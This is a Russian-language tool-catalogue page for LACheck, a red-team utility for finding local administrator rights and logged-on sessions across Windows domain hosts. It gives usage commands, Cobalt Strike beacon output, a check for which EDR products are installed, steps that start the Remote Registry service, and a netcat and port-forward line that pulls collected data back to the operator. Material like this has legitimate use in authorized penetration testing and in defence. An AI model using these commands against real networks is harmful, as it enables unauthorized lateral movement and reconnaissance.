Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
LACheck — Многопоточная сборка C# .NET для перечисления локальных административных привилегий на узлах Windows через SMB, WMI и WinRM с интеграцией BloodHound для разведки Active Directory. | Kitploit
Инструменты/GitHubGitHub/mitchmoser/lacheck
Повышение привилегийРазведкаЛатеральное перемещениеСбор информацииТестирование на ПроникновениеRed Teaming
GitHubmitchmoser/lacheck

LACheck

Многопоточная сборка C# .NET для перечисления локальных административных привилегий на узлах Windows через SMB, WMI и WinRM с интеграцией BloodHound для разведки Active Directory.

Репозиторий
93154 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LACheck

Многопоточная сборка C# .NET для перечисления локальных административных привилегий

Аргументы

root@kitploit:~
> ./LACheck.exe help
  _                  _____ _               _
 | |        /\      / ____| |             | |
 | |       /  \    | |    | |__   ___  ___| | __
 | |      / /\ \   | |    | '_ \ / _ \/ __| |/ /
 | |____ / ____ \  | |____| | | |  __/ (__|   <
 |______/_/    \_\  \_____|_| |_|\___|\___|_|\_\

Использование:
    LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]

Проверки локального администратора:
    smb   - Попытка доступа к общей папке C$
    rpc   - Попытка WMI-запроса к провайдеру класса Win32_ComputerSystem через RPC
    winrm - Попытка WMI-запроса к провайдеру класса Win32_ComputerSystem через сеанс WinRM

Аргументы:
    /bloodhound - создание файла коллекции AdminTo и Session, совместимого с BloodHound
                  выходной файл заархивирован и зашифрован со случайным именем и паролем
    /dc         - указать контроллер домена для запроса (если не запущено на присоединённом к домену хосте)
    /domain     - указать имя домена (если не запущено на присоединённом к домену хосте)
    /edr        - проверить хост на наличие EDR (требуется smb, rpc или winrm)
    /logons     - вернуть вошедших пользователей на хосте (требуется smb, rpc или winrm)
    /registry   - перечислить сеансы из куста реестра (требуется smb)
    /services   - вернуть службы, работающие от имени пользователей (требуется smb, rpc или winrm)
    /socket     - отправить вывод BloodHound на TCP-сокет вместо записи на диск
                  пример: ""127.0.0.1:8080""
    /targets    - список имён хостов для проверки, разделённых запятыми
    /threads    - указать максимальное количество параллельных потоков (по умолчанию 25)
    /user       - указать имя пользователя, под которым выполнялась коллекция (полезно при манипуляции токенами)
    /validate   - проверить учётные данные в домене перед сканированием целей (полезно при манипуляции токенами)
    /verbose    - выводить дополнительную информацию журнала
    /ou         - указать LDAP OU для запроса включённых объектов компьютеров
                  пример: "OU=Special Servers,DC=example,DC=local"
    /ldap - запросить хосты по следующим LDAP-фильтрам:
         :all - Все включённые компьютеры с 'primary' группой 'Domain Computers'
         :dc  - Все включённые контроллеры домена (не read-only DC)
         :exclude-dc - Все включённые компьютеры, не являющиеся контроллерами домена или read-only DC
         :servers - Все включённые серверы
         :servers-exclude-dc - Все включённые серверы, исключая контроллеры домена или read-only DC

Выполнение сборки

root@kitploit:~
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose

Вывод

root@kitploit:~
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
        rpc: True
        smb: True
        winrm: True
        /bloodhound: False
        /edr: False
        /logons: True
        /registry: False
        /services: False
        /ldap: servers-exclude-dc
        /ou:
        /targets:
        /threads: 10
        /user: svcadmin
        /validate: False
        /verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00  (svcadmin)
[session] WEB01 - contoso\devadmin  4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10  as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.

Аутентификация WinRM

Как показано в примере вывода выше, попытка проверить WinRM на хосте с IP-адресом 10.10.10.10 приведёт к ошибке, так как клиент WinRM не пытается аутентифицироваться на хосте по IP-адресу.

Используйте имена хостов при попытке проверки доступа по WinRM.

Указание целей

Флаги /targets, /ldap и /ou могут использоваться вместе или по отдельности для формирования списка хостов для перечисления.

Все хосты, возвращённые этими флагами, объединяются и дедуплицируются перед началом перечисления.

BloodHound

LACheck поддерживает запись собранных данных AdminTo и Session в JSON-вывод, который может быть загружен в BloodHound.

Этот вывод предназначен только для дополнения существующей коллекции BloodHound обновлёнными административными привилегиями для одного пользователя и сеансами, собранными с хостов, где были выявлены административные привилегии.

Параметр /bloodhound записывает на диск случайно названный зашифрованный zip-файл, который можно скачать, извлечь и загрузить в BloodHound.

/user

BloodHound требует разрешения пользователей и компьютеров в SID. Из-за методов олицетворения, таких как make_token и kerberos_ticket_use из Cobalt Strike, LACheck может не иметь возможности точно определить контекст пользователя для коллекции. Аргумент /user необходим для предоставления LACheck имени участника-пользователя (формат = [email protected]) контекста, под которым он запущен, для точного сопоставления информации коллекции.

/socket

Вывод BloodHound может быть отправлен на TCP-сокет вместо записи на диск.

Если TCP-соединение не удаётся, вывод BloodHound будет записан на диск.

В биконе Cobalt Strike TCP-соединения могут быть перенаправлены с хоста обратно на локальную машину оператора с помощью rportfwd_local:

root@kitploit:~
rportfwd_local 8888 127.0.0.1 8888

Оператор может затем перенаправить вывод TCP-потока в локальный файл с помощью netcat:

root@kitploit:~
nc -lvnp 8888 > computers.json 

Методы перечисления

Сводка производительности

- = не реализовано

SMB

/edr

Вдохновлено скриптом EDR.cna от harleyQu1nn

Метод Directory.GetFiles возвращает список драйверов из:

  • \\host\C$\windows\system32\drivers
  • \\host\C$\windows\sysnative\drivers

Драйверы сверяются со списком известных драйверов, используемых поставщиками EDR.

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

NetWkstaUserEnum возвращает список пользователей с интерактивными, служебными и пакетными входами

WTSEnumerateSessionsA возвращает список RDP-сеансов на хосте

WTSQuerySessionInformationA получает подробную информацию для каждого RDP-сеанса

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00  (svcadmin)

/registry

Перебирает SID в кусте \\Computer\HKEY_USERS\, пытается получить доступ к Volatile Environment для каждого SID и извлекает значения из ключей USERDOMAIN и USERNAME.

Этот метод требует, чтобы служба Удалённого реестра была запущена на удалённом хосте. Если это не так:

  1. записывается исходный тип запуска службы Удалённого реестра
  2. тип запуска изменяется на Automatic
  3. служба Удалённого реестра запускается
  4. перечисляются кусты реестра
  5. служба Удалённого реестра останавливается
  6. тип запуска возвращается к исходному записанному значению

Из-за потенциально многошагового процесса перечисления каждого хоста этот метод может быть медленнее по сравнению с альтернативными методами. smb /logons быстрее

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[registry] WEB01 - contoso\devadmin (svcadmin)

/services

ServiceController.GetServices Method получает список служб на хосте

Каждая служба опрашивается для определения пользователя, от имени которого она настроена для запуска.

Из-за того, что каждую службу необходимо опрашивать индивидуально, этот метод может быть медленнее по сравнению с альтернативными методами. wmi /services быстрее

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WMI

/edr

Вдохновлено скриптом EDR.cna от harleyQu1nn

Класс CIM_DataFile возвращает список драйверов из:

  • \host\C$\windows\system32\drivers
  • \host\C$\windows\sysnative\drivers

Драйверы сверяются со списком известных драйверов, используемых поставщиками EDR.

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

Класс Win32_LoggedOnUser возвращает список активных сеансов Класс Win32_LogonSession возвращает подробную информацию для каждого сеанса

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[session] WEB01 - contoso\devadmin  4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)

/registry

Запрашивает класс Win32_UserProfile для получения SID профилей пользователей в системе.

Метод EnumKey класса StdRegProv получает куст \\Computer\HKEY_USERS\ и пытается получить доступ к Volatile Environment для каждого возвращённого SID, чтобы извлечь значения из ключей USERDOMAIN и USERNAME.

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[registry] WEB01 - contoso\devadmin (svcadmin)

/services

Запрашивает класс Win32_Service для получения имени, пользователя и состояния служб

Пример вывода при запуске от имени пользователя svcadmin

root@kitploit:~
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WinRM

Каждая проверка WMI также реализована с использованием ресурсов WMI и перечисления WMI через WinRM.

Это позволяет избежать использования пространств PowerShell runspaces.

Скачать инструмент
SMBWMIWinRM
/edrбыстробыстробыстро
/logonsбыстробыстробыстро
/servicesмедленнобыстробыстро
/registryмедленнобыстро-